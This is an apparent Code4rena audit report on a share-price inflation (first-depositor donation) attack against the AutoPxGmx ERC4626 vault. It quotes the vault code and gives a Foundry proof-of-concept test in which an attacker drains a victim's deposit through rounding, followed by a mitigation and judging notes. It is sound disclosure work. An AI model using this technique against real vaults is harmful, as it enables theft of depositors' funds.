A malicious early user/attacker can manipulate the pxGmx's pricePerShare to take an unfair share of future user's deposits

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L164-L166
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/PirexERC4626.sol#L167-L176
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L173-L191
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L339-L362

Vulnerability details

Impact

An attacker/early user can deposit 1 wei in the vault and increase the price per share by sending a very high value of the underlying directly to the vault, causing next vault depositors to:

• not be able to deposit less than the very high share price set by the attacker.
• lose value due to rounding error.

redeem uses previewRedeem to calculate assets per shares.

AutoPxGmx.sol#L339-L362

    function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) public override returns (uint256 assets) {
        // Compound rewards and ensure they are properly accounted for prior to redemption calculation
        compound(poolFee, 1, 0, true);


        if (msg.sender != owner) {
            uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.


            if (allowed != type(uint256).max)
                allowance[owner][msg.sender] = allowed - shares;
        }


        // Check for rounding error since we round down in previewRedeem.
        require((assets = previewRedeem(shares)) != 0, "ZERO_ASSETS");


        _burn(owner, shares);


        emit Withdraw(msg.sender, receiver, owner, assets, shares);


        asset.safeTransfer(receiver, assets);
    }

previewRedeem uses convertToAssets to do the conversion from shares to assets.

AutoPxGmx.sol#L173-L191

    function previewRedeem(uint256 shares)
        public
        view
        override
        returns (uint256)
    {
        // Calculate assets based on a user's % ownership of vault shares
        uint256 assets = convertToAssets(shares);


        uint256 _totalSupply = totalSupply;


        // Calculate a penalty - zero if user is the last to withdraw
        uint256 penalty = (_totalSupply == 0 || _totalSupply - shares == 0)
            ? 0
            : assets.mulDivDown(withdrawalPenalty, FEE_DENOMINATOR);


        // Redeemable amount is the post-penalty amount
        return assets - penalty;
    }

convertToAssets do the calculation using totalAssets.

PirexERC4626.sol#L167-L176

    function convertToAssets(uint256 shares)
        public
        view
        virtual
        returns (uint256)
    {
        uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.


        return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply);
    }

totalAssets is determined by asset.balanceOf(address(this)), which can be manipulated by an early user.

AutoPxGmx.sol#L164-L166

    function totalAssets() public view override returns (uint256) {
        return asset.balanceOf(address(this));
    }

Proof of Concept

Add: import "forge-std/console.sol"; (if you want to see the logs)
Run: scripts/forgeTest.sh --match-test "Early" -vvv

    function testEarlyVaultAttack() public {
        address attacker = address(0x01);
        address victim1 = address(0x02);
        address victim2 = address(0x03);
        
        deal(address(pxGmx), attacker, 100000 ether);
        deal(address(pxGmx), victim1, 100000 ether);
        deal(address(pxGmx), victim2, 100000 ether);
        
        changePrank(attacker);
        pxGmx.approve(address(autoPxGmx), type(uint).max);
        changePrank(victim1);
        pxGmx.approve(address(autoPxGmx), type(uint).max);
        changePrank(victim2);
        pxGmx.approve(address(autoPxGmx), type(uint).max);

        // Attack start here
        changePrank(attacker);
        assert(autoPxGmx.totalSupply() == 0);

        autoPxGmx.deposit(1 wei, attacker);
        autoPxGmx.previewRedeem(1 wei); // attacker get 1 share of the vault (price per share is 1:1)

        assert(autoPxGmx.balanceOf(attacker) == 1);

        // Donate large amount directly to the vault
        pxGmx.transfer(address(autoPxGmx), 1000 ether);

        autoPxGmx.totalSupply();

        // Victim cannot deposit less than 1000 ether + 1 wei
        changePrank(victim1);
        vm.expectRevert();
        autoPxGmx.deposit(1000 ether, victim1);
        autoPxGmx.balanceOf(victim1);

        // Victim deposit
        changePrank(victim2);
        autoPxGmx.deposit(1000 ether + 1 wei + 1000 ether, victim2); // One share cost 1000 + 1 ether
        console.log("balanceOf victim2 = ", autoPxGmx.balanceOf(victim2)); // Victim only get one share of the vault

        console.log("totalSupply before attacker redeem = ", autoPxGmx.totalSupply());
        console.log("balanceOf attacker = ", pxGmx.balanceOf(attacker));

        changePrank(attacker);
        autoPxGmx.redeem(1, attacker, attacker);

        console.log("totalSupply after attacker redeem = ", autoPxGmx.totalSupply());
        console.log("balanceOf attacker = ", pxGmx.balanceOf(attacker));

        changePrank(victim2);
        autoPxGmx.redeem(1, victim2, victim2);

        console.log("totalSupply after victim2 redeem = ", autoPxGmx.totalSupply());
        console.log("balanceOf victim2 = ", pxGmx.balanceOf(victim2));
    }

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Send an amount of the first LP tokens to the address(0) as Uniswap does.

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

kphed marked the issue as sponsor acknowledged

[c4-sponsor]

kphed marked the issue as sponsor confirmed

[c4-sponsor]

kphed marked the issue as sponsor acknowledged

[c4-sponsor]

kphed marked the issue as sponsor confirmed

[c4-judge]

Picodes marked the issue as satisfactory

[C4-Staff]

JeeberC4 marked the issue as duplicate of #275